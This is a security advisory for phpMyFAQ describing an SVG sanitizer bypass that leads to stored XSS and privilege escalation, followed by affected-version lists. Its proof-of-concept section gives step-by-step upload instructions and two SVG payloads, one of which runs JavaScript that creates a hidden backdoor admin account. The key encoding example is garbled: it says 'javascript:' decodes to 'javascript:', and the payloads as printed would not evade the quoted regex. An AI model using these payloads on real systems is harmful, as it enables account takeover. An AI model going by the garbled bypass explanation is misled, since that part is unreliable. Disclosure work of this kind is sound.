phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation
The advisory, in context
Summary
The regex-based SVG sanitizer in phpMyFAQ (SvgSanitizer.php) can be bypassed using HTML entity encoding in javascript: URLs within SVG <a href> attributes. Any user with edit_faq permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.
Details
The file phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for javascript: URL detection is:
/href\s*=\s*["\']javascript:[^"\']*["\']/i
This pattern matches the literal string javascript: but fails when the URL is HTML entity encoded. For example, javascript: decodes to javascript: in the browser, but does NOT match the regex. The isSafe() method returns true, so the SVG is accepted without sanitization.
Additionally, the DANGEROUS_ELEMENTS blocklist misses <animate>, <set>, and <use> elements which can also be used to execute JavaScript in SVG context.
Uploaded SVG files are served with Content-Type: image/svg+xml and no Content-Disposition: attachment header, so browsers render them inline and execute any JavaScript they contain.
The image upload endpoint (/admin/api/content/images) only requires the edit_faq permission — not full admin — so any editor-level user can upload malicious SVGs.
PoC
Basic XSS (confirmed working in Chrome 146 and Edge)
- Login to phpMyFAQ admin panel with any account that has
edit_faqpermission - Navigate to Admin → Content → Add New FAQ
- In the TinyMCE editor, click the image upload button
- Upload this SVG file:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
<a href="javascript:alert(document.domain)">
<text x="20" y="50" font-size="16" fill="red">Click for XSS</text>
</a>
</svg>
- The SVG is uploaded to
/content/user/images/<timestamp>_<filename>.svg - Open the SVG URL directly in a browser
- Click the red text →
alert(document.domain)executes
Privilege Escalation (Editor → Admin Takeover)
- As editor, upload this SVG:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 300">
<rect width="500" height="300" fill="#f8f9fa"/>
<text x="250" y="100" text-anchor="middle" font-size="22" fill="#333">📋 System Notice</text>
<a href="javascript:fetch('/admin/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({userName:'backdoor',userPassword:'H4ck3d!',realName:'System',email:'evil@attacker.com','is-visible':false}),credentials:'include'}).then(r=>r.json()).then(d=>document.title='pwned')">
<rect x="150" y="170" width="200" height="50" rx="8" fill="#0d6efd"/>
<text x="250" y="200" text-anchor="middle" font-size="16" fill="white">View Update →</text>
</a>
</svg>
- Send the SVG URL to an admin
- Admin opens URL, clicks "View Update →"
- JavaScript creates backdoor admin user
backdoor:H4ck3d! - Attacker logs in as
backdoorwith full admin privileges
Impact
This is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with edit_faq permission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to:
- Create backdoor admin accounts via the admin API
- Exfiltrate phpMyFAQ configuration (database credentials, API tokens)
- Modify or delete FAQ content
- Achieve full admin account takeover
The vulnerability affects all phpMyFAQ installations using the
SvgSanitizerclass (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files withContent-Disposition: attachmentto prevent inline rendering.
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases before 4.1.1
Fixed in 4.1.1
169 explicitly affected versions
2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2, 2.8.0-RC3, 2.8.0-RC4, 2.8.0-alpha2, 2.8.0-alpha3, 2.8.0-beta, 2.8.0-beta2, 2.8.0-beta3, 2.8.1, 2.8.10, 2.8.11, 2.8.12, 2.8.13, 2.8.14, 2.8.15, 2.8.16, 2.8.17, 2.8.18, 2.8.19, 2.8.2, 2.8.20, 2.8.21, 2.8.22, 2.8.23, 2.8.24, 2.8.25, 2.8.26, 2.8.27, 2.8.28, 2.8.29, 2.8.3, 2.8.4, 2.8.5, 2.8.6, 2.8.7, 2.8.8, 2.8.9, 2.9.0, 2.9.0-alpha, 2.9.0-alpha2, 2.9.0-alpha3, 2.9.0-alpha4, 2.9.0-beta, 2.9.0-beta2, 2.9.0-rc, 2.9.0-rc2, 2.9.0-rc3, 2.9.0-rc4, 2.9.1, 2.9.10, 2.9.11, 2.9.12, 2.9.13, 2.9.2, 2.9.3, 2.9.4, 2.9.5, 2.9.6, 2.9.7, 2.9.8, 2.9.9, 3.0.0, 3.0.0-RC, 3.0.0-RC.2, 3.0.0-alpha, 3.0.0-alpha.2, 3.0.0-alpha.3, 3.0.0-alpha.4, 3.0.0-beta, 3.0.0-beta.2, 3.0.0-beta.3, 3.0.1, 3.0.10, 3.0.11, 3.0.12, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.0.7, 3.0.8, 3.0.9, 3.1.0, 3.1.0-RC, 3.1.0-alpha, 3.1.0-alpha.2, 3.1.0-alpha.3, 3.1.0-beta, 3.1.1, 3.1.10, 3.1.11, 3.1.12, 3.1.13, 3.1.14, 3.1.15, 3.1.16, 3.1.17, 3.1.18, 3.1.2, 3.1.3, 3.1.4, 3.1.5, 3.1.6, 3.1.7, 3.1.8, 3.1.9, 3.2.0, 3.2.0-RC, 3.2.0-RC.2, 3.2.0-RC.4, 3.2.0-alpha, 3.2.0-beta, 3.2.0-beta.2, 3.2.1, 3.2.10, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7, 3.2.8, 3.2.9, 4.0.0, 4.0.0-RC, 4.0.0-RC.2, 4.0.0-RC.3, 4.0.0-RC.4, 4.0.0-RC.5, 4.0.0-alpha, 4.0.0-alpha.2, 4.0.0-alpha.3, 4.0.0-alpha.4, 4.0.0-beta, 4.0.0-beta.2, 4.0.1, 4.0.10, 4.0.11, 4.0.12, 4.0.13, 4.0.14, 4.0.15, 4.0.16, 4.0.18, 4.0.19, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.0.7, 4.0.8, 4.0.9, 4.1.0, 4.1.0-RC, 4.1.0-RC.2, 4.1.0-RC.4, 4.1.0-RC.5, 4.1.0-RC.6, 4.1.0-RC.7, 4.1.0-alpha, 4.1.0-alpha.2, 4.1.0-alpha.3, 4.1.0-beta, 4.1.0-beta.2
View affected-version evidence
{
"ranges": [
{
"events": [
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{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
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"2.8.0",
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"2.8.0-alpha2",
"2.8.0-alpha3",
"2.8.0-beta",
"2.8.0-beta2",
"2.8.0-beta3",
"2.8.1",
"2.8.10",
"2.8.11",
"2.8.12",
"2.8.13",
"2.8.14",
"2.8.15",
"2.8.16",
"2.8.17",
"2.8.18",
"2.8.19",
"2.8.2",
"2.8.20",
"2.8.21",
"2.8.22",
"2.8.23",
"2.8.24",
"2.8.25",
"2.8.26",
"2.8.27",
"2.8.28",
"2.8.29",
"2.8.3",
"2.8.4",
"2.8.5",
"2.8.6",
"2.8.7",
"2.8.8",
"2.8.9",
"2.9.0",
"2.9.0-alpha",
"2.9.0-alpha2",
"2.9.0-alpha3",
"2.9.0-alpha4",
"2.9.0-beta",
"2.9.0-beta2",
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"2.9.0-rc4",
"2.9.1",
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"2.9.11",
"2.9.12",
"2.9.13",
"2.9.2",
"2.9.3",
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"2.9.6",
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"3.0.0-alpha.2",
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"3.0.3",
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"3.1.0-alpha.3",
"3.1.0-beta",
"3.1.1",
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"3.1.11",
"3.1.12",
"3.1.13",
"3.1.14",
"3.1.15",
"3.1.16",
"3.1.17",
"3.1.18",
"3.1.2",
"3.1.3",
"3.1.4",
"3.1.5",
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"3.1.7",
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"3.2.0-beta",
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"3.2.1",
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"3.2.3",
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"4.0.0-alpha",
"4.0.0-alpha.2",
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"4.0.0-beta",
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"4.0.1",
"4.0.10",
"4.0.11",
"4.0.12",
"4.0.13",
"4.0.14",
"4.0.15",
"4.0.16",
"4.0.18",
"4.0.19",
"4.0.2",
"4.0.3",
"4.0.4",
"4.0.5",
"4.0.6",
"4.0.7",
"4.0.8",
"4.0.9",
"4.1.0",
"4.1.0-RC",
"4.1.0-RC.2",
"4.1.0-RC.4",
"4.1.0-RC.5",
"4.1.0-RC.6",
"4.1.0-RC.7",
"4.1.0-alpha",
"4.1.0-alpha.2",
"4.1.0-alpha.3",
"4.1.0-beta",
"4.1.0-beta.2"
]
}